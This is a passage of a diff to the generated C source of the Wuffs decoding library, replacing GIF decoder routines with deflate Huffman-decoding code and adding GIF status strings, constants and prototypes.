((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); ++ goto exit; + } + } +- self->private_impl.f_frame_rect_y1 = t_3; +- } +- self->private_impl.f_frame_rect_y1 += self->private_impl.f_frame_rect_y0; +- self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; +- self->private_impl.f_dst_y = self->private_impl.f_frame_rect_y0; +- if ((self->private_impl.f_num_decoded_frame_configs_value == 0u) && ! self->private_impl.f_quirks[4u]) { +- self->private_impl.f_width = wuffs_base__u32__max(self->private_impl.f_width, self->private_impl.f_frame_rect_x1); +- self->private_impl.f_height = wuffs_base__u32__max(self->private_impl.f_height, self->private_impl.f_frame_rect_y1); ++ if ((v_dist_minus_1 + 1u) >= 8u) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } else if ((v_dist_minus_1 + 1u) == 1u) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } else { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } ++ } while (0); ++ } ++ if (v_n_bits > 63u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ while (v_n_bits >= 8u) { ++ v_n_bits -= 8u; ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); ++ goto exit; + } +- +- goto ok; +- ok: +- self->private_impl.p_decode_id_part0[0] = 0; ++ } ++ self->private_impl.f_bits = ((uint32_t)((v_bits & ((((uint64_t)(1u)) << v_n_bits) - 1u)))); ++ self->private_impl.f_n_bits = v_n_bits; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); + goto exit; + } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_id_part0[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- + goto exit; + exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -38777,25 +40287,49 @@ wuffs_gif__decoder__decode_id_part0( + return status; + } + +-// -------- func gif.decoder.decode_id_part1 ++// -------- func deflate.decoder.decode_huffman_slow + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_id_part1( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend) { ++wuffs_deflate__decoder__decode_huffman_slow( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_flags = 0; +- uint8_t v_which_palette = 0; +- uint32_t v_num_palette_entries = 0; +- uint32_t v_i = 0; +- uint32_t v_argb = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- uint8_t v_lw = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_table_entry = 0; ++ uint32_t v_table_entry_n_bits = 0; ++ uint32_t v_lmask = 0; ++ uint32_t v_dmask = 0; ++ uint32_t v_b0 = 0; ++ uint32_t v_redir_top = 0; ++ uint32_t v_redir_mask = 0; ++ uint32_t v_b1 = 0; ++ uint32_t v_length = 0; ++ uint32_t v_b2 = 0; ++ uint32_t v_b3 = 0; ++ uint32_t v_b4 = 0; ++ uint32_t v_dist_minus_1 = 0; ++ uint32_t v_b5 = 0; ++ uint32_t v_n_copied = 0; ++ uint32_t v_hlen = 0; ++ uint32_t v_hdist = 0; + ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -38807,139 +40341,275 @@ wuffs_gif__decoder__decode_id_part1( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_id_part1[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_slow; + if (coro_susp_point) { +- v_which_palette = self->private_data.s_decode_id_part1[0].v_which_palette; +- v_num_palette_entries = self->private_data.s_decode_id_part1[0].v_num_palette_entries; +- v_i = self->private_data.s_decode_id_part1[0].v_i; ++ v_bits = self->private_data.s_decode_huffman_slow.v_bits; ++ v_n_bits = self->private_data.s_decode_huffman_slow.v_n_bits; ++ v_table_entry_n_bits = self->private_data.s_decode_huffman_slow.v_table_entry_n_bits; ++ v_lmask = self->private_data.s_decode_huffman_slow.v_lmask; ++ v_dmask = self->private_data.s_decode_huffman_slow.v_dmask; ++ v_redir_top = self->private_data.s_decode_huffman_slow.v_redir_top; ++ v_redir_mask = self->private_data.s_decode_huffman_slow.v_redir_mask; ++ v_length = self->private_data.s_decode_huffman_slow.v_length; ++ v_dist_minus_1 = self->private_data.s_decode_huffman_slow.v_dist_minus_1; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_flags = t_0; +- } +- if ((v_flags & 64u) != 0u) { +- self->private_impl.f_interlace = 4u; +- } else { +- self->private_impl.f_interlace = 0u; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; + } +- v_which_palette = 1u; +- if ((v_flags & 128u) != 0u) { +- v_num_palette_entries = (((uint32_t)(1u)) << (1u + (v_flags & 7u))); +- v_i = 0u; +- while (v_i < v_num_palette_entries) { ++ v_bits = self->private_impl.f_bits; ++ v_n_bits = self->private_impl.f_n_bits; ++ v_lmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); ++ v_dmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); ++ label__loop__continue:; ++ while ( ! (self->private_impl.p_decode_huffman_slow != 0)) { ++ while (true) { ++ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ if (v_n_bits >= v_table_entry_n_bits) { ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ break; ++ } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { +- t_1 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); +- iop_a_src += 3; +- } else { +- self->private_data.s_decode_id_part1[0].scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_0 = *iop_a_src++; ++ v_b0 = t_0; ++ } ++ v_bits |= (v_b0 << v_n_bits); ++ v_n_bits += 8u; ++ } ++ if ((v_table_entry >> 31u) != 0u) { ++ self->private_data.s_decode_huffman_slow.scratch = ((uint8_t)((v_table_entry >> 8u))); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (iop_a_dst == io2_a_dst) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ goto suspend; ++ } ++ *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_huffman_slow.scratch)); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ while (true) { ++ v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ if (v_n_bits >= v_table_entry_n_bits) { ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ break; ++ } ++ { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_id_part1[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 16) { +- t_1 = ((uint32_t)(*scratch >> 40)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint32_t t_1 = *iop_a_src++; ++ v_b1 = t_1; + } +- v_argb = t_1; ++ v_bits |= (v_b1 << v_n_bits); ++ v_n_bits += 8u; + } +- v_argb |= 4278190080u; +- self->private_data.f_palettes[1u][((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); +- self->private_data.f_palettes[1u][((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); +- self->private_data.f_palettes[1u][((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); +- self->private_data.f_palettes[1u][((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); +- v_i += 1u; ++ if ((v_table_entry >> 31u) != 0u) { ++ self->private_data.s_decode_huffman_slow.scratch = ((uint8_t)((v_table_entry >> 8u))); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (iop_a_dst == io2_a_dst) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ goto suspend; ++ } ++ *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_huffman_slow.scratch)); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- while (v_i < 256u) { +- self->private_data.f_palettes[1u][((4u * v_i) + 0u)] = 0u; +- self->private_data.f_palettes[1u][((4u * v_i) + 1u)] = 0u; +- self->private_data.f_palettes[1u][((4u * v_i) + 2u)] = 0u; +- self->private_data.f_palettes[1u][((4u * v_i) + 3u)] = 255u; +- v_i += 1u; ++ v_length = (((v_table_entry >> 8u) & 255u) + 3u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ if (v_table_entry_n_bits > 0u) { ++ while (v_n_bits < v_table_entry_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_2 = *iop_a_src++; ++ v_b2 = t_2; ++ } ++ v_bits |= (v_b2 << v_n_bits); ++ v_n_bits += 8u; ++ } ++ v_length = (((v_length + 253u + ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 255u) + 3u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; + } +- } else if (self->private_impl.f_quirks[6u] && ! self->private_impl.f_has_global_palette) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_palette); +- goto exit; +- } else if (self->private_impl.f_gc_has_transparent_index) { +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_palettes[1u], 1024), wuffs_base__make_slice_u8(self->private_data.f_palettes[0u], 1024)); +- } else { +- v_which_palette = 0u; +- } +- if (self->private_impl.f_gc_has_transparent_index) { +- self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 0u)] = 0u; +- self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 1u)] = 0u; +- self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 2u)] = 0u; +- self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 3u)] = 0u; +- } +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), +- wuffs_base__utility__make_pixel_format(2198077448u), +- wuffs_base__make_slice_u8(self->private_data.f_palettes[v_which_palette], 1024), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ while (true) { ++ v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ if (v_n_bits >= v_table_entry_n_bits) { ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_3 = *iop_a_src++; ++ v_b3 = t_3; ++ } ++ v_bits |= (v_b3 << v_n_bits); ++ v_n_bits += 8u; ++ } ++ if ((v_table_entry >> 28u) == 1u) { ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ while (true) { ++ v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ if (v_n_bits >= v_table_entry_n_bits) { ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_4 = *iop_a_src++; ++ v_b4 = t_4; ++ } ++ v_bits |= (v_b4 << v_n_bits); ++ v_n_bits += 8u; ++ } ++ } ++ if ((v_table_entry >> 24u) != 64u) { ++ if ((v_table_entry >> 24u) == 8u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + goto exit; + } +- goto ok; +- } +- if (self->private_impl.f_ignored_but_affects_benchmarks) { +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ if (v_table_entry_n_bits > 0u) { ++ while (v_n_bits < v_table_entry_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_5 = *iop_a_src++; ++ v_b5 = t_5; ++ } ++ v_bits |= (v_b5 << v_n_bits); ++ v_n_bits += 8u; ++ } ++ v_dist_minus_1 = ((v_dist_minus_1 + ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 32767u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ } ++ while (true) { ++ if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ if (v_hdist < v_length) { ++ v_hlen = v_hdist; ++ } else { ++ v_hlen = v_length; ++ } ++ v_hdist += ((uint32_t)(((uint64_t)(self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u))))); ++ if (self->private_impl.f_history_index < v_hdist) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); ++ goto exit; ++ } ++ v_n_copied = wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); ++ if (v_n_copied < v_hlen) { ++ v_length -= v_n_copied; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); ++ continue; ++ } ++ v_length -= v_hlen; ++ if (v_length == 0u) { ++ goto label__loop__continue; ++ } ++ } ++ v_n_copied = wuffs_private_impl__io_writer__limited_copy_u32_from_history( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ if (v_length <= v_n_copied) { ++ goto label__loop__continue; ++ } ++ v_length -= v_n_copied; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); + } +- uint8_t t_2 = *iop_a_src++; +- v_lw = t_2; + } +- if (v_lw > 8u) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_literal_width); ++ self->private_impl.f_bits = v_bits; ++ self->private_impl.f_n_bits = v_n_bits; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); + goto exit; + } +- self->private_impl.f_lzw_pending_literal_width_plus_one = ((uint32_t)((1u + v_lw))); +- self->private_impl.f_ignored_but_affects_benchmarks = true; + + ok: +- self->private_impl.p_decode_id_part1[0] = 0; ++ self->private_impl.p_decode_huffman_slow = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_id_part1[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_id_part1[0].v_which_palette = v_which_palette; +- self->private_data.s_decode_id_part1[0].v_num_palette_entries = v_num_palette_entries; +- self->private_data.s_decode_id_part1[0].v_i = v_i; ++ self->private_impl.p_decode_huffman_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_huffman_slow.v_bits = v_bits; ++ self->private_data.s_decode_huffman_slow.v_n_bits = v_n_bits; ++ self->private_data.s_decode_huffman_slow.v_table_entry_n_bits = v_table_entry_n_bits; ++ self->private_data.s_decode_huffman_slow.v_lmask = v_lmask; ++ self->private_data.s_decode_huffman_slow.v_dmask = v_dmask; ++ self->private_data.s_decode_huffman_slow.v_redir_top = v_redir_top; ++ self->private_data.s_decode_huffman_slow.v_redir_mask = v_redir_mask; ++ self->private_data.s_decode_huffman_slow.v_length = v_length; ++ self->private_data.s_decode_huffman_slow.v_dist_minus_1 = v_dist_minus_1; + + goto exit; + exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -38947,782 +40617,538 @@ wuffs_gif__decoder__decode_id_part1( + return status; + } + +-// -------- func gif.decoder.decode_id_part2 ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GIF) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_gif__error__bad_lzw_code[] = "#gif: bad LZW code"; ++const char wuffs_gif__error__bad_extension_label[] = "#gif: bad extension label"; ++const char wuffs_gif__error__bad_frame_size[] = "#gif: bad frame size"; ++const char wuffs_gif__error__bad_graphic_control[] = "#gif: bad graphic control"; ++const char wuffs_gif__error__bad_header[] = "#gif: bad header"; ++const char wuffs_gif__error__bad_literal_width[] = "#gif: bad literal width"; ++const char wuffs_gif__error__bad_palette[] = "#gif: bad palette"; ++const char wuffs_gif__error__truncated_input[] = "#gif: truncated input"; ++const char wuffs_gif__error__internal_error_inconsistent_i_o[] = "#gif: internal error: inconsistent I/O"; ++ ++// ---------------- Private Consts ++ ++static const uint32_t ++WUFFS_GIF__INTERLACE_START[5] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 4294967295u, 1u, 2u, 4u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_GIF__INTERLACE_DELTA[5] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1u, 2u, 4u, 8u, 8u, ++}; ++ ++static const uint8_t ++WUFFS_GIF__INTERLACE_COUNT[5] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 1u, 2u, 4u, 8u, ++}; ++ ++static const uint8_t ++WUFFS_GIF__ANIMEXTS1DOT0[11] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 65u, 78u, 73u, 77u, 69u, 88u, 84u, 83u, ++ 49u, 46u, 48u, ++}; ++ ++static const uint8_t ++WUFFS_GIF__NETSCAPE2DOT0[11] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 78u, 69u, 84u, 83u, 67u, 65u, 80u, 69u, ++ 50u, 46u, 48u, ++}; ++ ++static const uint8_t ++WUFFS_GIF__ICCRGBG1012[11] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 73u, 67u, 67u, 82u, 71u, 66u, 71u, 49u, ++ 48u, 49u, 50u, ++}; ++ ++static const uint8_t ++WUFFS_GIF__XMPDATAXMP[11] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 88u, 77u, 80u, 32u, 68u, 97u, 116u, 97u, ++ 88u, 77u, 80u, ++}; ++ ++#define WUFFS_GIF__QUIRKS_BASE 1041635328u ++ ++#define WUFFS_GIF__QUIRKS_COUNT 7u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_id_part2( ++wuffs_gif__decoder__do_decode_image_config( ++ wuffs_gif__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__do_tell_me_more( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__do_decode_frame_config( ++ wuffs_gif__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__skip_frame( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__do_decode_frame( + wuffs_gif__decoder* self, + wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint64_t v_block_size = 0; +- bool v_need_block_size = false; +- uint32_t v_n_copied = 0; +- uint64_t v_n_compressed = 0; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint64_t v_mark = 0; +- wuffs_base__status v_copy_status = wuffs_base__make_status(NULL); ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_gif__decoder__reset_gc( ++ wuffs_gif__decoder* self); + +- uint32_t coro_susp_point = self->private_impl.p_decode_id_part2[0]; +- if (coro_susp_point) { +- v_block_size = self->private_data.s_decode_id_part2[0].v_block_size; +- v_need_block_size = self->private_data.s_decode_id_part2[0].v_need_block_size; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_up_to_id_part1( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- wuffs_gif__decoder__lzw_init(self); +- v_need_block_size = true; +- label__outer__continue:; +- while (true) { +- if (v_need_block_size) { +- v_need_block_size = false; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t t_0 = *iop_a_src++; +- v_block_size = t_0; +- } +- } +- if (v_block_size == 0u) { +- break; +- } +- while (((uint64_t)(io2_a_src - iop_a_src)) == 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- } +- if (self->private_impl.f_compressed_ri == self->private_impl.f_compressed_wi) { +- self->private_impl.f_compressed_ri = 0u; +- self->private_impl.f_compressed_wi = 0u; +- } +- while (self->private_impl.f_compressed_wi <= 3841u) { +- v_n_compressed = wuffs_base__u64__min(v_block_size, ((uint64_t)(io2_a_src - iop_a_src))); +- if (v_n_compressed <= 0u) { +- break; +- } +- v_n_copied = 